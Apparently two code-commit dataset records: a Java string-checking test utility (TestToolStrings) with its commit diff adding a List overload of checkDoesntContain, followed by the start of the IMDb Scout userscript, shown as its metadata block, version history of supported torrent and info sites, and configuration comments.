* Checks that the Levenshtein's distance between strings a and b is less or equal to maxExpectedDistance.
*
* @param a
* @param b
* @param maxExpectedDistance
*/
public void checkLevenshteinDistance(String a, String b, int maxExpectedDistance) {
int d = getLevenshteinDistance(a, b);
m_testCase.addTestResult(d <= maxExpectedDistance, "max expected distance=" + maxExpectedDistance + " | tested distance=" + d);
}
/**
* Returns the Levenshtein's distance between strings a and b.
*
* @param a
* @param b
* @return The Levenshtein's distance between strings a and b.
*/
public static int getLevenshteinDistance(String a, String b) {
return StringUtils.getLevenshteinDistance(a, b);
}
/**
* Returns true if the tested String is contained in at least one of the referenced Strings.
*
* @param referencedStrings
* The Strings into where tested string should be contained
* @param testedStrings
* The String to look for
* @param caseSensitive
* Set true if characters'case is needed.
* @return true if the tested String is contained in at least one of the referenced String. False otherwise.
*/
public boolean isContained(String[] referencedStrings, String testedString, boolean caseSensitive) {
boolean result = false;
for(String referencedString : referencedStrings) {
if(contains(testedString, referencedString, caseSensitive)) {
result = true;
}
}
return result;
}
/**
* Returns true if the expected String is contained in at least one of the Strings of the tested array.
*
* @param expectedContainedString
* The String to look for into the string array
* @param testedStrings
* The array of Strings where expected String is searched.
* @param caseSensitive
* Set true if characters'case is needed.
* @return true if the expected String is contained in at least one of the Strings of the tested array. False otherwise.
*/
public boolean contains(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
boolean result = false;
for(String testedString : testedStrings) {
if(contains(expectedContainedString, testedString, caseSensitive)) {
result = true;
}
}
return result;
}
/**
* Checks that the expected String is contained into at least one of the strings of the array. (See contains(String
* expectedContainedString, String[] testedStrings, boolean caseSensitive) for details.
*
* @param expectedContainedString
* The String to look for into the string array
* @param testedStrings
* The array of Strings where expected String is searched.
* @param caseSensitive
* Set true if characters'case is needed.
*/
public void checkArrayContains(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
m_testCase.addTestResult(contains(expectedContainedString, testedStrings, caseSensitive), "expected contained string = '"
+ expectedContainedString + "' | tested strings array contains " + testedStrings.length + " string(s)");
}
/**
* Checks that the expected String is not contained into at least one of the strings of the array. (See contains(String
* expectedContainedString, String[] testedStrings, boolean caseSensitive) for details.
*
* @param expectedContainedString
* The String to look for into the string array
* @param testedStrings
* The array of Strings where expected String is searched.
* @param caseSensitive
* Set true if characters'case is needed.
*/
public void checkDoesntContain(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
m_testCase.addTestResult(!contains(expectedContainedString, testedStrings, caseSensitive), "expected contained string = '"
+ expectedContainedString + "' | tested strings array contains " + testedStrings.length + " string(s)");
}
/**
* Returns true if both strings arrays contain the same values, regardless of the order.
*
* @param expectedStrings
* The expected strings array.
* @param testedStrings
* The strings array to compare.
* @param caseSensitive
* Set true if characters'case is needed.
* @return True if both strings arrays contain the same values, regardless of the order. False otherwise.
*/
public boolean sameValues(String[] expectedStrings, String[] testedStrings, boolean caseSensitive) {
boolean sameNumberOfValues = false;
boolean sameValues = true;
if((testedStrings == null) || (expectedStrings == null)) {
// Both arrays are null
if((testedStrings == null) && (expectedStrings == null)) {
sameNumberOfValues = true;
sameValues = true;
} else if(testedStrings == null) {
sameNumberOfValues = false;
sameValues = false;
} else {
sameNumberOfValues = false;
sameValues = false;
}
} else {
sameNumberOfValues = (expectedStrings.length == testedStrings.length);
sameValues = true;
for(String expectedValue : expectedStrings) {
boolean expectedValueIsPresent = false;
for(String testedValue : testedStrings) {
if(equals(expectedValue, testedValue, caseSensitive)) {
expectedValueIsPresent = true;
}
}
sameValues = sameValues && expectedValueIsPresent;
}
}
return (sameNumberOfValues && sameValues);
}
/**
* Checks that the tested string array has the same values as the expected one, that means: same number, same values. That check does
* not verify the order of the values.
*
* @param expectedStrings
* Expected strings as an array.
* @param testedStrings
* The string array to check.
* @param caseSensitive
* Set to 'true' if you do care about the case for string comparison.
*/
public void checkSameValues(String[] expectedStrings, String[] testedStrings, boolean caseSensitive) {
if((testedStrings == null) || (expectedStrings == null)) {
// Both arrays are null
if((testedStrings == null) && (expectedStrings == null)) {
m_testCase.addTestResult(true, "expected array is null | tested strings array is null");
} else if(testedStrings == null) {
m_testCase.addTestResult(false, "expected array is not null (" + expectedStrings.length
+ " values) | tested strings array is null");
} else {
m_testCase.addTestResult(false, "expected array is null | tested strings array is not null (" + testedStrings.length
+ " values)");
}
} else {
boolean sameNumberOfValues = (expectedStrings.length == testedStrings.length);
boolean sameValues = true;
int expectedValuesNotFoundCount = 0;
for(String expectedValue : expectedStrings) {
boolean expectedValueIsPresent = false;
for(String testedValue : testedStrings) {
if(equals(expectedValue, testedValue, caseSensitive)) {
expectedValueIsPresent = true;
}
}
if(!expectedValueIsPresent) {
expectedValuesNotFoundCount++;
}
sameValues = sameValues && expectedValueIsPresent;
}
if(sameNumberOfValues) {
if(sameValues) {
m_testCase.addTestResult(true, "expected string array (" + expectedStrings.length + " values | "
+ "tested string array (" + expectedStrings.length + " values");
} else {
m_testCase.addTestResult(false, "" + expectedValuesNotFoundCount + " expected values not found in tested string array");
}
} else {
m_testCase.addTestResult(false, "expected array has " + expectedStrings.length + " values | tested strings array has "
+ testedStrings.length + " values");
}
}
}
/**
* Converts an Enumeration to a List.
*
* @param strings
* @return
*/
public static List<String> toList(Enumeration<String> strings) {
List<String> result = new ArrayList<String>();
if(strings == null) {
result = null;
} else {
while(strings.hasMoreElements()) {
result.add(strings.nextElement());
}
}
return result;
}
public static List<String> toList(String[] strings) {
List<String> result = new ArrayList<String>();
if(strings == null) {
result = null;
} else {
for(String s : strings) {
result.add(s);
}
}
return result;
}
public static String[] toArray(List<String> strings) {
return strings.toArray(new String[strings.size()]);
}
/**
* Creates a DocList from a HashMap composed of String elements. Use that DocList as comments.
*
* @param strings
* @return
*/
public static DocList toDocList(HashMap<String, String> strings) {
DocList result = new DocList();
if(strings == null) {
result = null;
} else {
for(String key : strings.keySet()) {
result.addItem(new Field(key, strings.get(key)));
}
}
return result;
}
/**
* Returns a list containing the each original string one single time, even if these values are contained several times in the original
* list.
*
* @param originalList
* The list of strings to clean (remove doubles).
* @return A list containing the each original string one single time
*/
public static List<String> cleanDoubles(List<String> originalList) {
List<String> result = new ArrayList<String>();
for(String value : originalList) {
if(!result.contains(value)) {
result.add(value);
}
}
return result;
}
/**
* Indicates if the string does match the regular expression
*
* @param regex
* @param string
* @return
*/
public static boolean matches(String regex, String testedString) {
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(testedString);
return m.matches();
}
public boolean checkMatchesRegex(String regex, String testedString) {
boolean result = false;
if(testedString == null) {
if(regex == null) {
m_testCase.addTestResult(false, "regex is null | tested string is null");
} else {
m_testCase.addTestResult(false, "regex=" + regex + " | tested string is null");
}
} else {
if(regex == null) {
m_testCase.addTestResult(false, "regex is null | tested=" + testedString);
} else {
result = matches(regex, testedString);
m_testCase.addTestResult(result, "regex=" + regex + " | tested=" + testedString);
}
}
return result;
}
/**
* Returns the groups catched by the regular expression into the string. Group 0 is composed by the whole string. So the first extracted
* group is group with index 1.
*
* @param regex
* @param string
* @return
*/
public static String[] getGroups(String regex, String string) {
String[] result = null;
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(string);
if(m.matches()) {
int count = m.groupCount() + 1;
result = new String[count];
for(int i = 0; i < count; i++) {
result[i] = m.group(i);
}
}
return result;
}
/**
* Concatenate too String arrays.
*
* @param a
* @param b
* @return a + b
*/
public static String[] concat(String[] a, String[] b) {
if(a == null) {
a = new String[0];
}
if(b == null) {
b = new String[0];
}
return concat(a, b, 0, b.length - 1);
}
/**
* Concatenate too String arrays. Only the part of 'b' from startIndex to endIndex is added at the end of 'a'
*
* @param a
* @param b
* @param startIndex
* @param endIndex
* @return a + b[startIndex -> endIndex]
*/
public static String[] concat(String[] a, String[] b, int startIndex, int endIndex) {
if(a == null) {
a = new String[0];
}
if((b == null)) {
b = new String[0];
}
startIndex = Math.min(startIndex, b.length);
endIndex = Math.min(endIndex, b.length - 1);
String[] result = new String[Math.max(0, a.length) + 1 + endIndex - startIndex];
for(int i = 0; i < a.length; i++) {
result[i] = a[i];
}
for(int i = startIndex; i <= endIndex; i++) {
result[a.length + i - startIndex] = b[i];
}
return result;
}
public static DocList toDocList(String[] strings) {
DocList result = new DocList();
for(String s : strings) {
result.addItem(new DocString(s));
}
return result;
}
private static String toString(byte[] bytes) {
StringBuilder result = new StringBuilder();
for(int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(bytes[i]);
if(hex.length() == 1) {
result.append('0');
result.append(hex.charAt(hex.length() - 1));
} else {
result.append(hex.substring(hex.length() - 2));
}
}
return result.toString();
}
public static String[] toLines(String input) {
return input.replaceAll("\\r\\n", "\n").split("[\\r\\n]");
}
public static String md5(String inputString) throws NoSuchAlgorithmException {
byte[] inputAsBytes = inputString.getBytes();
byte[] hash = md5(inputAsBytes);
return toString(hash);
}
public static String md5(InputStream is) throws NoSuchAlgorithmException, IOException {
byte[] bytes = IOUtils.toByteArray(is);
byte[] hash = md5(bytes);
return toString(hash);
}
public static byte[] md5(byte[] bytes) throws NoSuchAlgorithmException {
byte[] hash = null;
hash = MessageDigest.getInstance("MD5").digest(bytes);
return hash;
}
}
| add: TestToolStrings / checkDoesntContain(string,list<String>, caseSensitive)
| src/main/java/qualify/tools/TestToolStrings.java | add: TestToolStrings / checkDoesntContain(string,list<String>, caseSensitive) | <ide><path>rc/main/java/qualify/tools/TestToolStrings.java
<ide> */
<ide>
<ide> package qualify.tools;
<add>
<add>import name.fraser.neil.plaintext.diff_match_patch;
<add>import name.fraser.neil.plaintext.diff_match_patch.Diff;
<add>import org.apache.commons.io.IOUtils;
<add>import org.apache.commons.lang.StringUtils;
<add>import qualify.TestCase;
<add>import qualify.doc.DocList;
<add>import qualify.doc.DocString;
<add>import qualify.doc.DomElementAble;
<add>import qualify.doc.Field;
<add>import qualify.doc.Span;
<ide>
<ide> import java.io.IOException;
<ide> import java.io.InputStream;
<ide> import java.util.regex.Matcher;
<ide> import java.util.regex.Pattern;
<ide>
<del>import name.fraser.neil.plaintext.diff_match_patch;
<del>import name.fraser.neil.plaintext.diff_match_patch.Diff;
<del>
<del>import org.apache.commons.io.IOUtils;
<del>import org.apache.commons.lang.StringUtils;
<del>
<del>import qualify.TestCase;
<del>import qualify.doc.DocList;
<del>import qualify.doc.DocString;
<del>import qualify.doc.DomElementAble;
<del>import qualify.doc.Field;
<del>import qualify.doc.Span;
<del>
<ide> /**
<ide> * TestToolStrings provides tools for checking String objects.
<ide> */
<ide> /**
<ide> * Checks that the two strings given through parameters are equal. Returns true if both are null. Use checkEquality(expectedString,
<ide> * testedString, false) if you want to check equality without case sensitive.
<del> *
<add> *
<ide> * @param expectedString
<ide> * @param testedString
<ide> */
<ide>
<ide> /**
<ide> * Returns true if both strings are equal. Set caseSensitive to 'false' in order to ignore characters' case for comparison.
<del> *
<del> * @param expectedString
<del> * The expected value.
<del> * @param testedString
<del> * The value to compare.
<del> * @param caseSensitive
<del> * Set 'false' in order to ignore characters' case. Set 'true' otherwise.
<add> *
<add> * @param expectedString The expected value.
<add> * @param testedString The value to compare.
<add> * @param caseSensitive Set 'false' in order to ignore characters' case. Set 'true' otherwise.
<ide> * @return 'true' if both strings are equal. 'false' otherwise.
<ide> */
<ide> public static boolean equals(String expectedString, String testedString, boolean caseSensitive) {
<ide>
<ide> /**
<ide> * Checks that the two strings given through parameters are equal. Returns true if both are null.
<del> *
<add> *
<ide> * @param expectedString
<ide> * @param testedString
<del> * @param caseSensitive
<del> * must comparison care about case sensitive?
<add> * @param caseSensitive must comparison care about case sensitive?
<ide> */
<ide> public boolean checkEquality(String expectedString, String testedString, boolean caseSensitive) {
<ide> return checkEquality(m_testCase, expectedString, testedString, caseSensitive);
<ide> /**
<ide> * Return a Span object (see package qualify.doc) corresponding to the compared string: differing characters are highlighted. Use that
<ide> * Span object to add comment to your TestCase.
<del> *
<del> * @param referenceString
<del> * The string that is used as referenced.
<del> * @param stringToCompare
<del> * The string to compare. That string will be reported into the returned Span.
<add> *
<add> * @param referenceString The string that is used as referenced.
<add> * @param stringToCompare The string to compare. That string will be reported into the returned Span.
<ide> * @return
<ide> */
<ide> public static Span getComparedDocString(String referenceString, String stringToCompare) {
<ide> /**
<ide> * Returns a DocList (see package qualify.doc) that shows the differences between two strings. Differing characters are highlighted. Use
<ide> * that DocList object to add comment to your TestCase.
<del> *
<add> *
<ide> * @param expectedString
<ide> * @param testedString
<ide> * @return
<ide>
<ide> /**
<ide> * Returns 'true' if the expected string is contained into the tested string.
<del> *
<del> * @param expectedContainedString
<del> * The string that is expected.
<del> * @param testedString
<del> * The string into witch the expected string should be contained.
<del> * @param caseSensitive
<del> * Set to 'true' if you do care about the case for string comparison.
<add> *
<add> * @param expectedContainedString The string that is expected.
<add> * @param testedString The string into witch the expected string should be contained.
<add> * @param caseSensitive Set to 'true' if you do care about the case for string comparison.
<ide> * @return 'true' if the expected string is contained into the tested string. Returns 'false' otherwise.
<ide> */
<ide> public boolean contains(String expectedContainedString, String testedString, boolean caseSensitive) {
<ide> }
<ide> return result;
<ide> }
<del>
<add>
<ide> public boolean checkDoesntContain(String expectedContainedString, String testedString, boolean caseSensitive) {
<ide> boolean result = false;
<ide> if(testedString == null) {
<ide>
<ide> /**
<ide> * Checks that the Levenshtein's distance between strings a and b is less or equal to maxExpectedDistance.
<del> *
<add> *
<ide> * @param a
<ide> * @param b
<ide> * @param maxExpectedDistance
<ide>
<ide> /**
<ide> * Returns the Levenshtein's distance between strings a and b.
<del> *
<add> *
<ide> * @param a
<ide> * @param b
<ide> * @return The Levenshtein's distance between strings a and b.
<ide>
<ide> /**
<ide> * Returns true if the tested String is contained in at least one of the referenced Strings.
<del> *
<del> * @param referencedStrings
<del> * The Strings into where tested string should be contained
<del> * @param testedStrings
<del> * The String to look for
<del> * @param caseSensitive
<del> * Set true if characters'case is needed.
<add> *
<add> * @param referencedStrings The Strings into where tested string should be contained
<add> * @param testedStrings The String to look for
<add> * @param caseSensitive Set true if characters'case is needed.
<ide> * @return true if the tested String is contained in at least one of the referenced String. False otherwise.
<ide> */
<ide> public boolean isContained(String[] referencedStrings, String testedString, boolean caseSensitive) {
<ide>
<ide> /**
<ide> * Returns true if the expected String is contained in at least one of the Strings of the tested array.
<del> *
<del> * @param expectedContainedString
<del> * The String to look for into the string array
<del> * @param testedStrings
<del> * The array of Strings where expected String is searched.
<del> * @param caseSensitive
<del> * Set true if characters'case is needed.
<add> *
<add> * @param expectedContainedString The String to look for into the string array
<add> * @param testedStrings The array of Strings where expected String is searched.
<add> * @param caseSensitive Set true if characters'case is needed.
<ide> * @return true if the expected String is contained in at least one of the Strings of the tested array. False otherwise.
<ide> */
<ide> public boolean contains(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
<ide> /**
<ide> * Checks that the expected String is contained into at least one of the strings of the array. (See contains(String
<ide> * expectedContainedString, String[] testedStrings, boolean caseSensitive) for details.
<del> *
<del> * @param expectedContainedString
<del> * The String to look for into the string array
<del> * @param testedStrings
<del> * The array of Strings where expected String is searched.
<del> * @param caseSensitive
<del> * Set true if characters'case is needed.
<add> *
<add> * @param expectedContainedString The String to look for into the string array
<add> * @param testedStrings The array of Strings where expected String is searched.
<add> * @param caseSensitive Set true if characters'case is needed.
<ide> */
<ide> public void checkArrayContains(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
<del> m_testCase.addTestResult(contains(expectedContainedString, testedStrings, caseSensitive), "expected contained string = '"
<del> + expectedContainedString + "' | tested strings array contains " + testedStrings.length + " string(s)");
<add> m_testCase.addTestResult(contains(expectedContainedString, testedStrings, caseSensitive),
<add> "expected contained string = '" + expectedContainedString + "' | tested strings array contains " + testedStrings.length
<add> + " string(s)");
<ide> }
<ide>
<ide> /**
<ide> * Checks that the expected String is not contained into at least one of the strings of the array. (See contains(String
<ide> * expectedContainedString, String[] testedStrings, boolean caseSensitive) for details.
<del> *
<del> * @param expectedContainedString
<del> * The String to look for into the string array
<del> * @param testedStrings
<del> * The array of Strings where expected String is searched.
<del> * @param caseSensitive
<del> * Set true if characters'case is needed.
<add> *
<add> * @param expectedContainedString The String to look for into the string array
<add> * @param testedStrings The array of Strings where expected String is searched.
<add> * @param caseSensitive Set true if characters'case is needed.
<ide> */
<ide> public void checkDoesntContain(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
<del> m_testCase.addTestResult(!contains(expectedContainedString, testedStrings, caseSensitive), "expected contained string = '"
<del> + expectedContainedString + "' | tested strings array contains " + testedStrings.length + " string(s)");
<add> m_testCase.addTestResult(!contains(expectedContainedString, testedStrings, caseSensitive),
<add> "expected contained string = '" + expectedContainedString + "' | tested strings array contains " + testedStrings.length
<add> + " string(s)");
<add> }
<add>
<add> public void checkDoesntContain(String expectedContainedString, List<String> testedStrings, boolean caseSensitive) {
<add> m_testCase.addTestResult(!contains(expectedContainedString, toArray(testedStrings), caseSensitive),
<add> "expected contained string = '" + expectedContainedString + "' | tested strings array contains " + testedStrings.size()
<add> + " string(s)");
<ide> }
<ide>
<ide> /**
<ide> * Returns true if both strings arrays contain the same values, regardless of the order.
<del> *
<del> * @param expectedStrings
<del> * The expected strings array.
<del> * @param testedStrings
<del> * The strings array to compare.
<del> * @param caseSensitive
<del> * Set true if characters'case is needed.
<add> *
<add> * @param expectedStrings The expected strings array.
<add> * @param testedStrings The strings array to compare.
<add> * @param caseSensitive Set true if characters'case is needed.
<ide> * @return True if both strings arrays contain the same values, regardless of the order. False otherwise.
<ide> */
<ide> public boolean sameValues(String[] expectedStrings, String[] testedStrings, boolean caseSensitive) {
<ide> /**
<ide> * Checks that the tested string array has the same values as the expected one, that means: same number, same values. That check does
<ide> * not verify the order of the values.
<del> *
<del> * @param expectedStrings
<del> * Expected strings as an array.
<del> * @param testedStrings
<del> * The string array to check.
<del> * @param caseSensitive
<del> * Set to 'true' if you do care about the case for string comparison.
<add> *
<add> * @param expectedStrings Expected strings as an array.
<add> * @param testedStrings The string array to check.
<add> * @param caseSensitive Set to 'true' if you do care about the case for string comparison.
<ide> */
<ide> public void checkSameValues(String[] expectedStrings, String[] testedStrings, boolean caseSensitive) {
<ide> if((testedStrings == null) || (expectedStrings == null)) {
<ide> if((testedStrings == null) && (expectedStrings == null)) {
<ide> m_testCase.addTestResult(true, "expected array is null | tested strings array is null");
<ide> } else if(testedStrings == null) {
<del> m_testCase.addTestResult(false, "expected array is not null (" + expectedStrings.length
<del> + " values) | tested strings array is null");
<del> } else {
<del> m_testCase.addTestResult(false, "expected array is null | tested strings array is not null (" + testedStrings.length
<del> + " values)");
<add> m_testCase.addTestResult(false,
<add> "expected array is not null (" + expectedStrings.length + " values) | tested strings array is null");
<add> } else {
<add> m_testCase.addTestResult(false,
<add> "expected array is null | tested strings array is not null (" + testedStrings.length + " values)");
<ide> }
<ide> } else {
<ide> boolean sameNumberOfValues = (expectedStrings.length == testedStrings.length);
<ide>
<ide> if(sameNumberOfValues) {
<ide> if(sameValues) {
<del> m_testCase.addTestResult(true, "expected string array (" + expectedStrings.length + " values | "
<del> + "tested string array (" + expectedStrings.length + " values");
<add> m_testCase.addTestResult(true,
<add> "expected string array (" + expectedStrings.length + " values | " + "tested string array ("
<add> + expectedStrings.length + " values");
<ide> } else {
<ide> m_testCase.addTestResult(false, "" + expectedValuesNotFoundCount + " expected values not found in tested string array");
<ide> }
<ide> } else {
<del> m_testCase.addTestResult(false, "expected array has " + expectedStrings.length + " values | tested strings array has "
<del> + testedStrings.length + " values");
<add> m_testCase.addTestResult(false,
<add> "expected array has " + expectedStrings.length + " values | tested strings array has " + testedStrings.length
<add> + " values");
<ide> }
<ide> }
<ide> }
<ide>
<ide> /**
<ide> * Converts an Enumeration to a List.
<del> *
<add> *
<ide> * @param strings
<ide> * @return
<ide> */
<ide>
<ide> /**
<ide> * Creates a DocList from a HashMap composed of String elements. Use that DocList as comments.
<del> *
<add> *
<ide> * @param strings
<ide> * @return
<ide> */
<ide> /**
<ide> * Returns a list containing the each original string one single time, even if these values are contained several times in the original
<ide> * list.
<del> *
<del> * @param originalList
<del> * The list of strings to clean (remove doubles).
<add> *
<add> * @param originalList The list of strings to clean (remove doubles).
<ide> * @return A list containing the each original string one single time
<ide> */
<ide> public static List<String> cleanDoubles(List<String> originalList) {
<ide>
<ide> /**
<ide> * Indicates if the string does match the regular expression
<del> *
<add> *
<ide> * @param regex
<ide> * @param string
<ide> * @return
<ide> /**
<ide> * Returns the groups catched by the regular expression into the string. Group 0 is composed by the whole string. So the first extracted
<ide> * group is group with index 1.
<del> *
<add> *
<ide> * @param regex
<ide> * @param string
<ide> * @return
<ide>
<ide> /**
<ide> * Concatenate too String arrays.
<del> *
<add> *
<ide> * @param a
<ide> * @param b
<ide> * @return a + b
<ide>
<ide> /**
<ide> * Concatenate too String arrays. Only the part of 'b' from startIndex to endIndex is added at the end of 'a'
<del> *
<add> *
<ide> * @param a
<ide> * @param b
<ide> * @param startIndex |
|
JavaScript | unlicense | 8739fa765561f2e2a2cc188f2e3b6d0d9fec3698 | 0 | kannibalox/IMDb-Scout | // ==UserScript==
// @name IMDb Scout
// @namespace https://greasyfork.org/users/1057-kannibalox
// @description Add links from IMDb pages to torrent sites -- easy downloading from IMDb
//
// Preference window for userscripts, hosted by greasyfork:
// @require https://greasyfork.org/libraries/GM_config/20131122/GM_config.js
// @require http://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js
//
// @version 4.8.1
// @include http*://*.imdb.tld/title/tt*
// @include http*://*.imdb.tld/search/title*
// @include http*://*.imdb.com/title/tt*
// @include http*://*.imdb.com/search/title*
// @include http*://*iloveclassics.com/viewrequests.php?*
//
// @connect *
// @grant GM_log
// @grant GM_getValue
// @grant GM_setValue
// @grant GM_addStyle
// @grant GM_openInTab
// @grant GM_xmlhttpRequest
// @grant GM_registerMenuCommand
//
// ==/UserScript==
/*---------------------Version History--------------------
1.00 - Initial public release, everything works on barebones greasemonkey
1.50 - Added the ability to select which sites to load from the GM script commands
- Moved the required method to userscripts
- Removed FH, NZB, Avax
1.60 - Added style elements and shading to display on imdb
1.62 - Fixed bug:SCC-ARC not removing when unchecked
- Alphabetized list
1.70 - Cleaned up code
- Added option to not run script on page load
1.71 - Deprecated action-box field
1.80 - Added icons that link to OpenSubs, Criticker, RT, YT
1.81 - Added support for tv, only displays on shows listed as 'tv series'
- Added support for icheckmovies at top bar.
1.82 - Fixed title parsing for tv shows.
1.83 - Fixed dhive not working properly
1.90 - Set height of preference window to 450px, added scroll bar
1.91 - Added another 11 torrent sites
2.00 - Added auto updater
2.01 - Added TC, FreshOn, TVT, STF, CC
- Cleaned up code (tabbing)
- Removed THR
- Added TV-Rage to top bar
2.02 - Added PS, THC, HH, HDStar
- Fixed CC false positive
2.03 - TehC now uses tt
- Added Raymoz mod for AT
2.04 - Added HDbits
- Added TL
2.10 - Added genre page search functionality
2.11 - Fixed ICM because Nuked was whining
2.12 - Removed tvrage
- Fixed iCM (added tt)
- Added HDVNbits
- Changed RevTT to .me
- Added HDT
- removed autoupdate
2.13 - removed xvidme
- reinstated autoupdate
- removed google chrome code
- fixed hdvn and hdt issues
2.14 - Added @grant entries for API access
- Fixed tt parser to work on imdb pages with referral info in url
2.2 - Switch preferences window to use GM_config
- Consolidate icon & site lists
- Added IPT, KASS, sHD, and HDW
- Fix "Open All" link
- Add option for strikethroughs on search page
- Removed arrays from search URLs
- Spring cleaning
2.21 - Added SSL to TVT, HDME, TC, AHD, IPT, SCC
- Added SSL option for CG
- Added GFT, GFT-Gems, GFT-TV
- Fixed SCC, SCC-ARC search URL
- Removed TheBox, TheDVDClub
- Added more comments, cleaned up some more stuff
2.22 - Fixed TehC, BTN, BTN-Req, THC
- Added a bunch of TV sites, courtesy of seedless
- Added "both" option for sites, and made changes
to allow coexistence of movie and TV sites with
the same name
- Code re-organization, documentation
- Re-added code to allow an array for searchUrl
2.22.1 - Minor fixes
2.23 - Fixed THC, BTN
- Distinguish between movies and TV on search page
2.24 - Separate load_on_start option for search page
- Fix search_string on search page
2.25 - Added some helpful text when no sites have been enabled
2.26 - Added code to show links when on pages besides just the "front" one
(e.g. http://www.imdb.com/title/tt2310332/reference)
2.26.1 - Correctly detect TV shows when on aforementioned pages.
2.3 - Incorporate a bunch of changes courtesy of Inguin:
- Added SSL to AT, TE, D-noid, TG, YT, RT
- Changed tracker short titles to canonical form ADC, KG
- Updated D-noid from .me to .pw
- Fixed broken AT search; also updated to use .me so avoids redirect
- Added BitHQ, ET (eutorrents)
- Removed two broken THC; replaced with one fixed
- Removed iplay, horrorhaven, hdstar, scandbits, leecherslair
- Removed needless CG http/https duplication - plenty of listed sites self-sign
- A-Z sites list for readability
- Cleanup YT search string
- Copyedits
- Clean up code (tabs, trailing spaces)
- Use consistent naming style
- Added Letterboxd, Subscene to icons
- Added options for showing icons
2.31 - Added preliminary check for TSH
- Change all SCC links to .org
2.31.1 - Typo fix
2.32 - On uncertain pages, display both movie and TV sites
2.33 - Add year to possible search params
- Add rutorrent
2.33.1 - Change KG to .in
2.33.2 - Change TSH to .me
2.34 - Updated AT, TPB
- Removed HDWing, TVT and CHDBits
- Added RARBG
- Re-added reverse match checking to support rarbg
2.35 - Fixed YouTube icon, add SubtitleSeeker icon
- Added FL.ro, bB, BHD, HDS
- Fixed TL, TehC, HDb, HDVN, AHD, KG
- Renamed reverseMatch to positiveMatch
2.36 - Added Wikipedia to icon sites
2.36.1 - Typo fix
2.37 - Add PxHD
2.38 - Fix subtitle seeker
- Added CG-c
- Added FilmAffinity
- Added option to skip http check entirely
2.38.1 - Typo fix
2.38.2 - Global replace parameters
2.38.3 - Typo fix
3.00 - Clean up some formatting
- Add support for new IMDb page format
- Update jquery
3.0.1 - Added Classix
3.0.2 - Updated documentation/comments
3.0.3 - Removed GOEM, FY, PS, MT
- Added Metacritic, CanIStream.It?, AllMovie, Facebook, Amazon, Cartoon Chaos, MySpleen, Secret Cinema
- Fixed Wikipedia icon
3.1 - Handle HTTP failures less silently
3.1.1 - Fix KASS
3.1.2 - Fix TPB, TE, HDT
- Add MTV, DVDSeed
3.1.3 - Add M-T, UHDB, HDC, Blu-ray.com
- Fix scenehd, RT
3.1.4 - Add HDClub
3.2 - Fix the button on new-style pages
3.2.1 - Fix AHD
3.3 - Be less obnoxious about failed calls
3.4 - Add Netflix icon
- Remove a default parameter to satisfy Chrome
3.5 - Add KZ, NNM, BB-HD, t411, TD, Rutor
- Fix HDClub
- Fix preferences in Chrome, sort sites properly
3.5.1 - Remove DHive, Fix AHD
4.0 - Bring in UI changes courtesy of janot
- Add spaceEncode and goToUrl to site options
- Add option to show results as links instead of text
- Differentiate between missing and logged out
- General refactoring
4.1 - Add RARAT
4.2 - Fix t411
- Use magic .tld domain in @include
4.3 - Set @connect in metadata block
4.3.1 - Fix THC
4.3.2 - Add AR, TtN
- Add year and "trailer" to youtube search
- Fix M-team
4.3.3 - Fix BitHQ, PTP-Req, SCC
4.3.4 - Fix M-team, myspleen, avistaz, eutorrents
- Removed KAT
4.3.5 - Fix IPT, Freshon
- Add ExtraTorrent
4.3.6 - Fix Demonoid, EuTorrents (now CinemaZ)
- Fix "Actually search for torrents" option
- Add PrivateHD for movies and tv
4.3.7 - Apply CinemaZ fixes to AvistaZ as well
4.3.8 - Fix SurrealMoviez and MySpleen, switch to new PTP url
4.3.9 - Fix criticker, add CN
4.3.10 - Fix Netflix, MTV
4.3.11 - Add CHD back
4.3.12 - Fix typo
4.4 - Fix BeyondHD
- Allow unicode when searching by name
4.4.1 - Add trakt.tv
4.4.2 - Added XS, HD-S, PTN, TBD, Blutopia
- Removed Freshon, CN, ExT, t411, SCC
- Fixed SC, TE, TG, Tik
- Add .com for script runners that don't support .tld
4.5 - (Chameleon)
- Added an option to run on ILC request pages
- Fixed running on reference pages (new imdb style)
- Added a delay of 1 second between loading the same site (by domain) - no more popcorn quota timeouts
- Fixed running on search pages
4.5.1 - Removed (dead): BitHQ, TehC, FSS, ExtraTorrent, Cine-Clasico, and Secret-Cinema
- Fixed the hack on goToUrl
4.5.2 - Fixed filelist.ro, Tik, TD
- Added HDHome, HDU, OurBits
4.5.3 - Fixed TG, TE, HDSpace
- Added XS
4.5.4 - Fixed HDU
4.5.5 - Fixed BHD
4.6 - Option to highlight if the movie is missing from PTP
4.7 - Added option to ignore the movie/tv distinction
4.7.1 - Fix blutopia, hdchina, indenting
4.7.2 - Fix SDBits, M-T
- Add TTGg
4.7.3 - Enable on https versions of imdb sites
- Add TTG
4.8.0 - Add FinVip, JoyHD, TO, TP, TS, TVCK
- Fix TE, HDH, CZ, Subscene
- Remove SubtitleSeeker
- Rip out all site-specific code
- Fix up minor code smells
- Allow config name to be different from site name
4.8.1 - Add SP
--------------------------------------------------------*/
if (window.top != window.self) // Don't run on frames or iframes
{
return;
}
//------------------------------------------------------
// A list of all the sites, and the data necessary to
// check IMDb against them.
// Each site is a dictionary with the following attributes:
// - name:
// The site name, abbreviated
// - searchUrl:
// The URL to perform the search against, see below for how
// to tailor the string to a site
// - matchRegex:
// The string which appears if the searchUrl *doesn't* return a result
// - postiveMatch (optional):
// Changes the test to return true if the searchUrl *does* return
// a result that matches matchRegex
// - TV (optional):
// If true, it means that this site will only show up on TV pages.
// By default, sites only show up on movie pages.
// - both (optional):
// Means that the site will show up on both movie and TV pages
// - spaceEncode (optional):
// Changes the character used to encode spaces in movie titles
// The default is '+'.
// - goToUrl (optional):
// Most of the time the same URLs that are used for checking are
// the ones that are used to actually get to the movie,
// but this allows overriding that.
// - loggedOutRegex (optional):
// If any text on the page matches this regex, the site is treated
// as being logged out, rather than mising the movie. This option is
// not effected by postiveMatch.
// - configName (optional):
// Use this to allow changing names without breaking existing users.
// To create a search URL, there are four parameters
